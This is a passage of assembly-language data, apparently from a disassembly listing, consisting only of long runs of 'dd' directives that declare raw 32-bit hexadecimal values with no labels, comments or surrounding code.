		dd 2A18967h, 0F1B97B6Ah, 14E043ACh, 0C5001CE3h,	39623B7Dh
		dd 58B3B2h, 0F55BAF37h,	0D93DCDC0h, 69003CB8h, 524362DDh
		dd 0F418240Fh, 0C22D072Eh, 0B03866B7h, 6DFC9B9Eh, 7D337F00h
		dd 6C26BF98h, 0B2BB3B7Ch, 0A86AE280h, 0D196641Ch, 0D8777000h
		dd 1055F5C1h, 7914F6F1h, 52890A1h, 7CD4EDEAh, 2CBC4F50h
		dd 60E71500h, 12003E16h, 0D1623474h, 3C35BFFh, 2B265E70h
		dd 4885C9Fh, 8200887Bh,	2C8789Ah, 0B05179D3h, 6B090058h
		dd 7F8E6328h, 0D2001084h, 7B0EF24Bh, 7CAE72h, 9B42E337h
		dd 7E8422A2h, 0F0DAF800h, 0FB44F6A0h, 43C00496h, 0E040C828h
		dd 0F905F3B4h, 0BA56B819h, 0F1E67041h, 0B4C42388h, 0DB7312ACh
		dd 135020A9h, 0E23D5E5Ch, 5D6200D7h, 9C1FDF87h,	4ACE1F98h
		dd 730BC076h, 0B3F6885Ah, 190D8A79h, 223F7250h,	2F6EC0h
		dd 3E659AD6h, 0DF817A25h, 0C7B1E000h, 45E16858h, 0CB90C018h
		dd 4DA39F16h, 0EC2F913h, 0EE139900h, 1896F29h, 46D9823Fh
		dd 0D1D511C5h, 0FB94DC02h, 4A00E67Ch, 6FBBD026h, 747AE7h
		dd 21E08376h, 4CCA8A2h,	0D8A0700h, 0C9085F4Fh, 0C5EECBh
		dd 95F5456Eh, 765F1FBh,	0AC9E0F03h, 0C833D63Ah,	58D39357h
		dd 7400F738h, 0AE502FC1h, 66180DE4h, 0BD38E216h, 0C7A9005Ah
		dd 915E8611h, 8F0ADBCFh, 0ACC49790h, 0EB127500h, 32F7Dh
		dd 795EA9C0h, 2525CAAh,	0C80F51E8h, 9E176B73h, 6FC02B9Fh
		dd 7F67B62Fh, 9EDC00DEh, 0DF802976h, 160043E7h,	0E5FCDDADh
		dd 0FE52E0h, 30CAE41Fh,	105EB879h, 0D327C00h, 40A7AF7Fh
		dd 6FD500F9h, 1A441E27h, 63130685h, 0E400D723h,	1FDBF1BCh
		dd 7735004Eh, 393029B9h, 32007D31h, 6AC38B1Ah, 9012678Ah
		dd 4F42FC9Bh, 81D002D8h, 3C4083E6h, 0EB1D039Bh,	3343E8B9h
		dd 0B81B0FE9h, 1F4ADA2Ah, 836D26E0h, 3B430A60h,	0E8A88A99h
		dd 0B0EA335Ch, 0B84BB13Eh, 5E4400C3h, 6EBE16DFh, 26FD1331h
		dd 0A0240036h, 466B050Bh, 0DC024E2Ch, 0BA0479A6h, 50C0E3F3h
		dd 6E2ABFh, 595A3509h, 0D667408Ch, 0F592E000h, 218BC3A3h
		dd 787A81h, 0CAAF83B1h,	28E7192Bh, 825BB00h, 0C8665FBDh
		dd 0EFB20032h, 6C9DEABFh, 86B8D4A1h, 0F026A930h, 0E32FB1Ah
		dd 456649FFh, 758B4D80h, 6C3F42C2h, 5F6F815Bh, 0EBFEB1FDh
		dd 27C20h, 577669A8h, 64AF09A0h, 2CC1A401h, 0E5E0E9BEh
		dd 2895E7CCh, 6E0481Dh,	0B5663FBh, 0BC011147h, 30DF7F7Dh
		dd 35CC4B17h, 0FB73019Ah, 0C2B7C67Eh, 11C3C91h,	52D57BFAh
		dd 66DC07BDh, 837500E5h, 336A4E4Bh, 0AD007FC0h,	0EE1276EDh
		dd 295B84h, 85926EBFh, 0F137FBCFh, 38BAD300h, 7697F841h
		dd 810C0007h, 28B23C10h, 4490FA27h, 2CCCC24Ch, 0CC24BC5Ch
		dd 993F1C00h, 7A8FE72Eh, 83B90033h, 58A2890Ah, 0C317906Eh
		dd 7C005FE5h, 0BC5BE82Fh, 0BD48C027h, 7994644Ch, 0C9177F00h
		dd 4612C08Bh, 4A13002Dh, 8ACC0E68h, 5A00E292h, 202CBE75h
		dd 7FD5B52h, 41F86C88h,	9A27D09Eh, 0E006AAA8h, 7AB2AFBEh
		dd 7240E8FCh, 0DDD23E89h, 86AA9200h, 1E1063C6h,	0CE1E457Fh
		dd 0B40D95FAh, 0F460985Ah, 5E761886h, 79512624h, 0B7002698h
		dd 6DB31B8Eh, 112C4E7h
		dd 0B9CD86FCh, 0E4E07B94h, 190084F2h, 4FB2237h,	0E56468h
		dd 61489F0Bh, 24521B66h, 595D3Eh, 75798977h, 0ECF78D71h
		dd 1C9E4BBDh, 0FCFE8588h, 689092D5h, 0A301FE80h, 2F0786F4h
		dd 4CFCDF5h, 0FA8DC160h, 15F101B6h, 6551DDC8h, 9FA7E83Fh
		dd 5E0058B0h, 0ACE4A2B5h, 1F04012h, 5BC9F907h, 0D86B0A95h
		dd 57009A8Bh, 0CC848533h, 0BF9E2Eh, 7097125Fh, 73C593F7h
		dd 2BF43802h, 0E05861EBh, 7274166h, 0F30AC628h,	0C0843718h
		dd 5EF67533h, 0AEFACC00h, 0F09C889Fh, 50C1C099h, 7B0F77B1h
		dd 80EA0C12h, 9040A00Bh, 6225CCh, 0DF462999h, 5E31D2CFh
		dd 102C3Eh, 54B90773h, 2B0A4C4h, 0D9BC956Bh, 2C689FA2h
		dd 0F200D1FFh, 8F88031Bh, 1C4D59BBh, 80911ADBh,	0D9B6C00Bh
		dd 0A35C47C1h, 55FE073Dh, 0FFD0893Ah, 74FA32h, 0CCEDCEBh
		dd 0ABD0CFF8h, 1181A4B4h, 250B8C17h, 0BBDA4282h, 0CC80907Dh
		dd 0F338A822h, 2A26967Ch, 0AC8130A7h, 0AB0FD131h, 7713E4D4h
		dd 791E00DEh, 0E1FE2576h, 0E90075CEh, 6E7AA754h, 26184660h
		dd 1A24384h, 5E63BD8h, 9B1BC445h, 1F02587Bh, 3329180Ah
		dd 1ED47030h, 441104F9h, 8740BB34h, 0F0378710h,	620AED78h
		dd 219D5B27h, 0CFFBA0E8h, 480702D0h, 0CA00A6A1h, 0E60BCCD8h
		dd 690FD045h, 80A3E40Dh, 0B26A2D6Fh, 2792001Ah,	9FD659E5h
		dd 8B001C3Dh, 47763AA1h, 0BB811B7h, 0D7FA8AD4h,	0AF41A280h
		dd 0C4FF31A6h, 0D1394A53h, 2ABA23h, 85689B3Fh, 25C407h
		dd 32249955h, 0D6EF1D2Ch, 8202EC00h, 526E9648h,	0EB7250h
		dd 0AB25388Ch, 0C60C19C2h, 71009AECh, 0B9640620h, 7931D12Bh
		dd 5DE01DBDh, 81DCC0C3h, 0F2421E69h, 3E39C24h, 0EDDD0039h
		dd 107D8E2Eh, 0A030081h, 5060B03Eh, 6A0028D1h, 0CBF88A0Bh
		dd 3B044BB3h, 5060DD1Fh, 0B5FDE6CEh, 0E0A41C09h, 49F981E7h
		dd 0E020320Ch, 0FE9845h, 0CCD20D1Ah, 0EF1F305Dh, 5AA3BA0Fh
		dd 0EED77FF1h, 3BE85C80h, 248100D3h, 0A764F71Fh, 1000CD2Fh
		dd 85E7C34Bh, 7313FBD7h, 9BCD308h, 3420059Eh, 0EBC218ECh
		dd 15524B00h, 73064FA9h, 3B781463h, 0BA39CC41h,	10F2100h
		dd 4E3E38F5h, 5909247Ah, 2720C189h, 0CFB04FB0h,	24F6F80Ah
		dd 0CB279h, 0BC8009FBh,	0E6003A0Bh, 0A7E4837h, 0C3D9E2h
		dd 6E44C16Dh, 5EDCC7CFh, 30E89605h, 6480E141h, 48E02FEDh
		dd 0D45224D8h, 544DEBC2h, 3C00FC50h, 2685BF78h,	63617ADh
		dd 0B6A2E59Eh, 29002121h, 9CE668C5h, 32F882h, 95A93F0h
		dd 486FE37Ah, 196930E9h, 0FBF53Eh, 408A2746h, 0F27BA573h
		dd 0A9010006h, 0A7F2A6ECh, 0B72E09CBh, 0BC3EB454h, 1F8000B3h
		dd 16984315h, 0B97600EAh, 7F40661Ch, 0D94EA838h, 5588B7C0h
		dd 0EA8E3AD2h, 8D996530h, 27001152h, 2EAB7AADh,	1D1E874h
		dd 8CF08AF3h, 6FAF66E3h, 0C460F9A1h, 5A1D0071h,	0B4D5A4ECh
		dd 0BD01AABBh, 97C3599Dh, 0E3D6EFFEh, 93EE899Dh, 4F0DB880h
		dd 86B1A01Dh, 0A222190Eh, 9BEC0017h, 2E5690Ah, 0B5F70383h
		dd 0E9E033F6h, 0D301A06Ah, 588C35CCh, 0E6C42DECh, 0BBFC0079h
		dd 0C5EDC1B4h, 0D503280Bh, 37FF7773h, 9120DF2Ch, 7A70FCh
		dd 462514EBh, 0E64B8538h, 0B00F0790h, 81AA7D98h, 0FFBDCD40h
		dd 0A00132CCh, 0A09B26F0h, 1507C7h, 0C2492FCFh,	0AA3C4F0Fh
		dd 6389A700h, 52B0A39Eh, 7967FEE4h, 1FBA73B9h, 40E75A09h
		dd 3739EC14h, 0C107B6CEh, 0FDB13C51h, 0EA1B48C0h, 0FAFB0052h
		dd 0CA827DC9h, 7B00A640h, 28CFFC2Eh, 1C2F4A3Bh,	0DDBDB113h
		dd 408B0771h, 0FF410061h, 77009B7Ah, 0B0229478h, 291AB9h
		dd 2F3756A8h, 4AC68EE1h, 8E57DA3Ah, 2EF1C751h, 4FA954h
		dd 0EDBB50AEh, 0EAD80125h, 87399C0Eh, 87E03C5Ah, 31F00717h
		dd 987F097Bh, 84970088h, 0DCE64478h, 0C900F7EBh, 55B3733Dh
		dd 5C694Dh, 2E2D4C6Eh, 31DB4515h, 576B9B04h, 0EFC0F3E4h
		dd 917750h, 168109F2h, 47D7A962h, 36B05E50h, 952CAC00h
		dd 1FE8A1A4h, 62B8006Ch, 594B97D0h, 0E01236Ah, 5E6D161Bh
		dd 2720E821h, 93A51CDDh, 0D820E70Bh, 982A64E6h,	0B68C7500h
		dd 8B48A24Bh, 98264AADh, 0A0001288h, 60EAF553h,	3E1D137Ah
		dd 3ABE7B14h, 39513D03h, 2CA00E12h, 2400F12Dh, 0E2FBCB74h
		dd 461A871h, 63283DABh,	0B20EEBC9h, 66B660C8h, 3C4B33h
		dd 541E9B5h, 1DC4D602h,	184C5107h, 0FC84CDBCh, 276CA0h
		dd 2680EF36h, 975D9E89h, 0BEECA0Dh, 9AD82243h, 113900CDh
		dd 9540B3E0h, 8E0A04A7h, 0B1C4D3DCh, 2C406716h,	1BAD4775h
		dd 754D905Eh, 393E00D6h, 0D7EEA531h, 1A608F7Eh,	0C0F26C38h
		dd 44091CECh, 815E0069h, 179FE13Eh, 0FA83EA00h,	3DBAA685h
		dd 0C99700E0h, 0CAB91DBCh, 0C800745Bh, 510A679Ah, 0D3A2F7h
		dd 6F9C131Ch, 0B48A6968h, 9692CD00h, 22498E9Bh,	33B803A0h
		dd 6EE77EF3h, 0FC5864C8h, 0E548451Ch, 5FFE94BFh, 0B5CE00F8h
		dd 495028C4h, 0E468008Eh, 0CDC51A21h, 0DF75B11Fh, 41933E07h
		dd 20D0E67Fh, 1ED1CCCh,	9258968Ch, 7069534Fh, 250F7C12h
		dd 3D2DFBAFh, 0C301A8E4h, 0F5B8DE66h, 0D6544007h, 9B4A0A83h
		dd 7102F5BCh, 0B298881Ch, 0E7532C60h, 7873BE1Eh, 9643DA00h
		dd 50642316h, 0E11DC67h, 0D9749E6Bh, 3E10FA82h,	0C31EF48Eh
		dd 0E8F8E9ECh, 5CEBE6D8h, 1FC1C300h, 0D0E2BBB2h, 7DA1B8EEh
		dd 28C73130h, 60D6DAF0h, 0B4007028h, 0D3F07CDFh, 15B904h
		dd 0A3E02B13h, 40C04D3Dh, 6D83A904h, 4B4530Ah, 0C6170FDFh
		dd 0C01C3ED0h, 5DAE2F11h, 0CC12FE93h, 0B800B661h, 3EBDF760h
		dd 0EC4518C8h, 0E6C7A873h, 0BEB11800h, 11B84152h, 0CC3F0995h
		dd 516B0Dh, 0A3D721D6h,	0B46FF381h, 2F84AEh, 6692913Ch
		dd 62003022h, 43693190h, 5687C1h, 0F84CAA7Bh, 6642F44Ah
		dd 9752F100h, 49B061EAh, 0C5650CDCh, 4AB8F050h,	0A7133EF4h
		dd 1847B4F5h, 51E936EFh, 0B11338h, 0D2DF6F18h, 0A8C326C3h
		dd 0B01CB6DCh, 0E30EE7h, 1BBFE93Bh, 9328EEE8h, 4F041C92h
		dd 0D16DA880h, 0CF13D860h, 41FB9F16h, 4B80705Fh, 18F4D727h
		dd 0EBDE1FC6h, 2C1EC03Fh, 39F7CEFCh, 0A9AA8000h, 9083117Eh
		dd 8CAC00CCh, 5242E155h, 4B00DABDh, 227B63EAh, 57BB7Fh
		dd 21D2BC17h, 0B8FB1BB2h, 0C300FDFAh, 0A9A5854h, 0E28F11h
		dd 27524CE8h, 0E55DA18Dh, 941C3D00h, 448EA31Ah,	0BE3939BFh
		dd 895E2D00h, 67AE79D7h, 78DE3D00h, 0C060DB09h,	218D007Fh
		dd 0D220BDD0h, 97001C52h, 0EFC68376h, 68B546h, 1A724D5Dh
		dd 4FD07C98h, 39115405h, 0C7806513h, 320608h, 3BB6A323h
		dd 0C39707F3h, 0C5CB7503h, 0C122458Ch, 0F9FC4302h, 443603F5h
		dd 0B9E8D7A1h, 86CABBF8h, 0AF683Fh, 0AD28B36Ah,	6F15EAh
		dd 67C23CCFh, 22810E09h, 4C3E60E5h, 70438h, 0EEBD5EC3h
		dd 25F147h, 0D5D0A423h,	0A89E9884h, 73881503h, 0A0635BAEh
		dd 0BE51EAh, 6877CA6h, 2F7DD2ADh, 14013A7Dh, 0B83EB6A9h
		dd 48E81BC9h, 356400FFh, 2B2275Ah, 53004C82h, 0A3B1BB9Eh
		dd 1CCEFA81h, 409BDBBCh, 0E34E94D6h, 113E9FBEh,	0BD8000D8h
		dd 0FB9998DCh, 2B9500FFh, 0DB9E2A78h, 8D0021E2h, 0B21D6766h
		dd 2A6A8F92h, 0D8A62Dh,	0CD235264h, 0E4671080h,	4404C400h
		dd 2FA36809h, 73FC00F9h, 0F5FA8ACBh, 8F00B26Fh,	696CD355h
		dd 778494Ch, 0A0B8485h,	65753036h, 0FF0264AEh, 5DD333BFh
		dd 929760FAh, 0D5F60263h
		dd 0B3817EE6h, 0E02721E1h, 2077462Eh, 0F96AB00h, 4695CAFh
		dd 0FE740061h, 770B8607h, 0E307EEA3h, 0CC268BA0h, 9094B823h
		dd 312B76h, 5C3AF49Ch, 0D544964h, 0E144730Eh, 0C340BEB1h
		dd 6BF1B74Bh, 0AD2A005Eh, 544C41CEh, 0C0007620h, 0EB508409h
		dd 4B160F8h, 8148054Ah,	0D9198395h, 8FBC2988h, 506BFF00h
		dd 7E4FB0B3h, 69B40042h, 563DDCCDh, 0C6078611h,	0F48A9629h
		dd 0C17EE0AEh, 0A003E4DAh, 0BA08A0h, 0D41B5550h, 856125EFh
		dd 0ED700200h, 0A804632h, 0BFA900AEh, 8FD86435h, 430087BAh
		dd 0A109485Fh, 0F6D77930h, 465012EBh, 0A01C5118h, 459A1300h
		dd 172AB4B7h, 4B4515Ch,	0A15A3858h, 0CC642880h,	840200AEh
		dd 34EB797Ah, 0B4A0B32Ch, 0EE006C7Ch, 40811969h, 470E48h
		dd 0BA77C3F8h, 3943B1DFh, 0B046A200h, 0C2FE7C1Ch, 29E00094h
		dd 0E1D07288h, 32F080CCh, 7956DF07h, 0AAC010AFh, 2A7BB9h
		dd 0D0321BBh, 284F145Fh, 0D1557F00h, 4832195Ah,	0D8C307D7h
		dd 7783BC06h, 0C7C1D02Bh, 540094A5h, 4C7FE6FBh,	3AB5AB67h
		dd 680199C0h, 279778DAh, 0FC647157h, 8B00EE37h,	0E098A7B8h
		dd 1B3123Dh, 200D73FFh,	0D0E22F33h, 30EE7736h, 37A4C903h
		dd 0A07EEF7Ch, 0AF69BF8h, 2D71AA6Bh, 85CD0084h,	0A827A556h
		dd 0D8584300h, 57187BA1h, 0F13401B5h, 5C352349h, 0B436E0AEh
		dd 0D12C700h, 408A0897h, 77E0A7h, 668B9355h, 7B176DCEh
		dd 1C721907h, 0E2C0523Ch, 7CC6C1E1h, 439D00C4h,	4D02B309h
		dd 0D9F42745h, 2C037107h, 3EC7942Ah, 0FB281EA0h, 0F63018Ah
		dd 56692B0Bh, 396BD474h, 34E87300h, 2DF41918h, 0ACC260D2h
		dd 0B6D5EA5Ch, 3AE0A007h, 0A600DBAh, 30DBAB4Ch,	0F7386806h
		dd 0CDF68149h, 23DF8900h, 0E80E471Bh, 8D5E00C8h, 0C4AE6AF1h
		dd 34075173h, 3260DB6h,	0B9E08620h, 634F13A9h, 0A8540731h
		dd 0CBE0075h, 2F3E37B1h, 5CA709DBh, 923C805Ah, 64065Bh
		dd 9F3D65B5h, 0E37D3907h, 5690C600h, 0A953FC42h, 3375007Ch
		dd 0DD14A64Ah, 8B1D5ADEh, 265CFBD9h, 44CB003Dh,	53F1F883h
		dd 0A2730913h, 0F680E74Eh, 31298186h, 38D5FF37h, 2C72A50h
		dd 92430341h, 0DCFAABC9h, 7A656E0h, 0DD38C004h,	7CC89D79h
		dd 68E90029h, 7B2D2C55h, 49FEC55Fh, 32B25201h, 0B315EEB0h
		dd 0E868800h, 4BF2F70Eh, 0C9278348h, 2114D084h,	68A03C0Dh
		dd 85AFEF80h, 0E2A428ACh, 382011Fh, 0DF694440h,	836577h
		dd 884EC33Eh, 125046Bh,	62009BF0h, 0B412E353h, 0E25E9Fh
		dd 8E069649h, 0C04C1748h, 38DC6900h, 0F5C85586h, 0B91B0426h
		dd 0C0B85678h, 0F48B0447h, 0B4A048h, 68446F76h,	3BCD34A5h
		dd 0F59FDB4Bh, 806BDD21h, 889E9183h, 0C8126A16h, 0CF001A76h
		dd 8D1A57Ah, 8592005Ch,	45B5D18h, 442441D0h, 2F0F1457h
		dd 0C8E320B2h, 1EFD71h,	65220BF3h, 0A89BEB62h, 7700F2F8h
		dd 0FB24BB25h, 0E6D72D1h, 0D460AC6Fh, 20DCE3E0h, 0F1003009h
		dd 0BB8DBFA0h, 1C5865h,	0C8770E16h, 0E08F5503h,	50667F00h
		dd 4C8E43A3h, 0FAE89082h, 3A7028Ch, 9C6E9858h, 0DA09C7E1h
		dd 0D7B9ACC8h, 0F972B00h, 80D1F277h, 0AFB0020h,	5C379634h
		dd 0C300AAB8h, 9DC16117h, 1EFFA5Fh, 50086ECAh, 0D0E0F479h
		dd 2B0152Bh, 98888D26h,	964ABA80h, 1D36D1h, 6C997016h
		dd 1FD76F41h, 9101437Bh, 472CCD3Dh, 91308BC1h, 86B8000Ah
		dd 28A14E8Ah, 4B00E783h, 54FE3462h, 7D613Fh, 2EE78E2h
		dd 100AB305h, 1E7EDB07h, 9710D0BDh, 32D373Dh, 0D8AA39C6h
		dd 8800FBE8h, 92EF0FECh, 0F5455947h, 1C791DDCh,	0CF6C6EB1h
		dd 13A0CD27h, 4E324321h, 2C513Dh, 54C63C11h, 332A9EEBh
		dd 0FCE47DB6h, 886B501Eh, 0A30394EEh, 0D2F97B32h, 4F9C6864h
		dd 2744A005h, 84454C6Eh, 0D001D3Ah, 42412B8Ah, 5F0FCB1Ah
		dd 0A04B3E87h, 0B970AEB5h, 29591390h, 0B7AC4393h, 71034FC1h
		dd 8AD22B06h, 3F2DD811h, 0F51F2A72h, 0E87EA0ACh, 5C7145h
		dd 0A9D5AF50h, 86D64B41h, 16BC650Fh, 9F2F8Eh, 2C4E669Bh
		dd 205E00BDh, 0DE84280Ch, 0C900F7A1h, 0FCDAFB90h, 1D5277D2h
		dd 80CB4BB3h, 5698FA9Eh, 1F0AE512h, 0F8F5C6D3h,	0CD1AC701h
		dd 0E8C835DEh, 52E42415h, 0F792009Ch, 6E223043h, 8C703300h
		dd 0B37B8F85h, 567C1E8Dh, 0FEFBBEh, 0B8585018h,	134D2FEFh
		dd 0B839602Ch, 0C22D5A0Ah, 0B6421500h, 58A26A3Ch, 0E3A4055h
		dd 86A6918Eh, 25C89860h, 0B8A0790Ah, 0AB1E8A76h, 0CC05558Ch
		dd 9488A7CDh, 0D30084F6h, 0F3BD368Ch, 76167031h, 9B6FCB3h
		dd 0CC69747Bh, 0D3FA5483h, 4DEA11A0h, 3F768300h, 0A86F4564h
		dd 0B0F43AEFh, 32BA8D00h, 752566EEh, 196DFF1Eh,	0CE4C1D80h
		dd 0F6D32350h, 10B60357h, 95132829h, 19270C90h,	2A5D0A00h
		dd 5B184C6Ah, 0B78F07A8h, 0E0965E0Fh, 8BE77159h, 0BFD8A700h
		dd 0F79CDA05h, 32B700D3h, 0D59A1D37h, 860151EBh, 0D8BE4A35h
		dd 7C702457h, 1F1B0F79h, 3D622D46h, 0E049F9C1h,	1C08E462h
		dd 9B599906h, 483C9Ah, 4831F705h, 0B6175519h, 0D85C49h
		dd 0A81EADD9h, 40A4Ah, 1CD0AF49h, 0BC2097E3h, 41DC1431h
		dd 77704728h, 12D6702Ah, 1922CB9h, 2629EA68h, 23EFD882h
		dd 0C2DA3D00h, 697DA179h, 111803B7h, 0DCB97509h, 0ACD804CDh
		dd 1BD48C34h, 9D5C6376h, 0BF26265Ch, 0C996B50Ch, 6E28040Ah
		dd 88657813h, 0E0032090h, 0C9C31943h, 41F6BA24h, 6440CC48h
		dd 2D454BEh, 0AB1C2128h, 0A0402BB6h, 7E3F3244h,	0BA00F936h
		dd 0DB375724h, 0DF097FBDh, 44948F40h, 0DE05C6E0h, 990E6185h
		dd 60BF3D2Fh, 62ECD353h, 0B9C72666h, 0CA8300CEh, 8A8F679Fh
		dd 0FF3A3C00h, 56683ED7h, 98A40021h, 7A222A3Fh,	5903312Eh
		dd 88575397h, 911588B5h, 409087h, 1AC046A4h, 3AF990DAh
		dd 0C1836F1Eh, 22B66E01h, 988048D0h, 0B71C5EEh,	9501DAE6h
		dd 64047CF4h, 0CF41A57Dh, 0C0FBD06Bh, 4D8C61h, 0C1935A11h
		dd 1444EFF7h, 91AE8E1Dh, 86D4C802h, 2503C085h, 5ADF030Ch
		dd 1AFC275Dh, 411C7BF8h, 85697C01h, 8640C89Dh, 1C8BB030h
		dd 8182D025h, 8087A14Fh, 5B9F30DFh, 7CC51B00h, 0CC304CBAh
		dd 236E0048h, 0BCEC4B1Eh, 382E3D1Dh, 0CD0051C6h, 7FAA01ADh
		dd 0F27356h, 1C157113h,	5336E22Eh, 7D483C00h, 8A6458BBh
		dd 0FF28C07Ch, 0BD7393B4h, 3959CE0Bh, 7B85815Ch, 2080A8F4h
		dd 41ADB8Eh, 80001989h,	814336C2h, 0A072ED4h, 71ADB6D2h
		dd 0EE6C00D2h, 0FB2BCEC8h, 0C21E60EEh, 0CA09FC41h, 0D0EA8029h
		dd 3F73E499h, 16802381h, 34B14E0h, 27123E6Ch, 32002A49h
		dd 0CCE23795h, 0F0C93D4Ah, 5E351180h, 2A3681E8h, 0A889AD00h
		dd 0B3F6A18Bh, 580C0079h, 0B1726501h, 380002FCh, 2532FB1Ch
		dd 7E0D5D59h, 60E2005Bh, 466A4478h, 1E0057F7h, 0DE4DA39Ch
		dd 50CEBE75h, 17FBC29h,	0C3F7B6D4h, 60CD87A4h, 1B000844h
		dd 68544784h, 797B07h, 616B46E1h, 9E1A5BF7h, 53FEDE07h
		dd 8230285Dh, 2DC3Ch, 9ABEC171h, 5472DD96h, 7824D300h
		dd 338ACFC2h, 0B01600C7h, 0D15D972Eh, 300A419h,	5EC2B852h
		dd 5F51508h, 9C42DCF6h,	33CE0051h, 9588A20Ah, 2DBF6300h
		dd 7826F1F8h, 143014CFh, 7D82C7h, 0D1BB86A7h, 55D55C5Ah
		dd 3669780Fh, 0C3CAA0B9h, 0A17ADBh, 9BF41113h, 0F07750BDh
		dd 1DB53Ch, 8FB1151Ch, 0F6B448h, 49EB6875h, 0D801C607h
		dd 517895h, 39CE662Eh
		dd 4C0DB1EFh, 0C450D306h, 24ED8Fh, 0B0DD41F1h, 0D16B5781h
		dd 0C7100B00h, 7CFF4B82h, 290C00EEh, 0DE8AAE78h, 9A0096B2h
		dd 0B90DCB0Eh, 959710h,	0B4F414E6h, 7688C41Dh, 5C461101h
		dd 58BEA1F8h, 9B9020h, 0A53D57DFh, 65542C30h, 9300B67Eh
		dd 4C337E41h, 1FEF602Eh, 40D82F8Ch, 964BBC1Ch, 0A600E33Bh
		dd 0A70A6274h, 30EAD5h,	2188C06Fh, 778AAEEh, 92093Eh, 0A66CFF9Ch
		dd 34A83Ah, 3806327Ch, 3BD6D368h, 2D506100h, 0FE7DB49Eh
		dd 0C9CC004Ah, 38F3A0F7h, 0E60AA32Fh, 8EC31CBh,	8DF2690Fh
		dd 96FCA8DEh, 0FF621C5Fh, 188F4053h, 0D0D48542h, 95F4F705h
		dd 1180AF10h, 4619C3h, 0B15DF2B3h, 5C6DE04Ch, 0CE599703h
		dd 0EC4AAD89h, 0F6114097h, 11E055BCh, 0A7F40060h, 2C365C47h
		dd 39070F56h, 0A0424B48h, 959EE320h, 7910328h, 0F7AE34CFh
		dd 0EB2B8188h, 932DA01Ch, 0F82E9B40h, 17F0F68h,	6AD544E6h
		dd 0E08D3CBBh, 0C3013970h, 43798042h, 0FAD48AABh, 0EB530082h
		dd 0C4126613h, 620140BEh, 0FBEF2C3Fh, 1821D890h, 7E43ECh
		dd 22FCDFCAh, 376B4BD9h, 2CCF7B00h, 99549FEBh, 6F160F73h
		dd 0E76B0935h, 159A8F00h, 0C769E660h, 22C0311h,	67588010h
		dd 362E478h, 0DAAEEB7Bh, 0C0885176h, 360345F9h,	4B755558h
		dd 6A13A1CCh, 4DC6E0h, 253DE519h, 8373DAE2h, 37307400h
		dd 2D98CCDh, 0D8C30036h, 0A7A31A20h, 0AF002E99h, 3E54739Eh
		dd 240B4184h, 0D74D21h,	8CCB6E7Ah, 0E00040CDh, 6DE27DF3h
		dd 70A0A3h, 0A87BDFEDh,	6D7A55Fh, 7824D1Fh, 783F85C0h
		dd 4814A1h, 1D97E27h, 82F29DF1h, 16223A09h, 2C34848Dh
		dd 3DED0680h, 35F10061h, 0D190696Eh, 0A1005EFAh, 0B8E99720h
		dd 0C411ACh, 7568A02h, 5D993FF0h, 0B9D3690Fh, 0EFFCC084h
		dd 0E7208h, 509CD252h, 4F9F373Ah, 492D8001h, 7866FF65h
		dd 1212C8E0h, 64760Dh, 83696278h, 0C204CE55h, 0C10FF5A7h
		dd 0A8A534C0h, 9E4C0032h, 96D0E977h, 0F130A1ABh, 0CE5D1193h
		dd 99223A4Eh, 989DEA0Ch, 7F0FA330h, 20A7D660h, 149AF830h
		dd 2435183Ah, 10D27175h, 37F56707h, 13F03D47h, 303B355Fh
		dd 9C2027A2h, 9DE86216h, 0F16D2507h, 8CCE324h, 7B7830DFh
		dd 15FE1318h, 0D41EF6F0h, 0C603201Bh, 0E8A54C07h, 0E7D53Eh
		dd 7BEB9772h, 87689817h, 0E2183100h, 487C29E4h,	15F9026Dh
		dd 99F8752Ah, 0ECFB5BC0h, 7860DF31h, 3560C030h,	95E400A4h
		dd 0E1C1FA59h, 1901F2C4h, 56723A2Fh, 0B180AEB7h, 0B9337B04h
		dd 0C20074FBh, 1C43518Dh, 0B36407h, 1282B78Fh, 8562A8E7h
		dd 84A4B200h, 0E64EFD72h, 3E60B024h, 763F6B9Ah,	0FF5BE880h
		dd 6FAB2501h, 0E318BEF4h, 0D208B68h, 0C267FC80h, 5E770EA0h
		dd 80E12CE1h, 66AE1930h, 0C35F82Ah, 9F8FC8A5h, 0E318BB18h
		dd 6C7863EAh, 1E6A780Dh, 380B0F1h, 170BCF30h, 6520280Dh
		dd 0D08F08C9h, 1BE02B1Ah, 0FFD1B36Fh, 897990A8h, 65A608C3h
		dd 548900DBh, 15FA4C9Ch, 107F916h, 5689D991h, 1DA8009Fh
		dd 0FC0C6BF2h, 25740039h, 0D8C8B090h, 0E607307Fh, 2C844055h
		dd 48B51580h, 67E00707h, 87870247h, 0B7AC60C8h,	0F806B1BBh
		dd 0AEEF77Ch, 384A0F60h, 90231610h, 67D0114Bh, 0E3F42E06h
		dd 83092D00h, 0BAB21471h, 0FE7F0046h, 5565502Ch, 6358ED61h
		dd 0FFEE008Dh, 13E31B22h, 0DE5F0080h, 42231C8Fh, 5C005DBDh
		dd 0A5A066Bh, 0A7498Dh,	701E45C1h, 387321A8h, 0DDACFE07h
		dd 7850A15Bh, 0F0175Dh,	7A9DE4Eh, 97EEF3D9h, 0FD733300h
		dd 789543E2h, 89463E58h, 536BE803h, 0E0398C11h,	0F80283D8h
		dd 1209B23h, 0CB4F14EEh, 80B7A8ADh, 0D1DBD420h,	6D29A9h
		dd 3E7022E3h, 135FECF4h, 0A3C1AF0Eh, 502E2016h,	0B83FD399h
		dd 0ED6F1F73h, 3D6B26B6h, 9026B0Ah, 0F8018338h,	629C9654h
		dd 7F1B21C9h, 1695ECF6h, 5C318900h, 9B511E74h, 0C7AB7C4Bh
		dd 603FFFD0h, 0DAED4D7Eh, 2C38F460h, 3BFFCEAh, 5AC743F2h
		dd 881E66E6h, 0D714CCA3h, 0FE7D3FF0h, 0BF2ACE00h, 31598602h
		dd 37B2F889h, 7EC87955h, 0DAC16DA0h, 0D90F9EFEh, 0A0C4AE1Dh
		dd 757050FAh, 0D3FB1FF1h, 8BB680CEh, 5B3BE9A2h,	8E054B00h
		dd 0D584E67Ch, 5F060034h, 0FA4711AEh, 0C539B213h, 0FE100BAh
		dd 32BC5021h, 26D100E6h, 0A176667Ch, 0F3029FCAh, 5AC20A1Fh
		dd 0E46EE0FAh, 0C39716B8h, 900AFC4h, 3CC1399Bh,	0D30200EBh
		dd 0B3DDE4DAh, 0E004DA9h, 1B71BDE2h, 719FB95h, 0F4D844FFh
		dd 0EF5C305Bh, 0E200DD74h, 0B9569F70h, 1D01D15Fh, 404B3A9Ch
		dd 0A4E4F765h, 1F0042F2h, 60C1FCA5h, 0D7D86Bh, 29C0320h
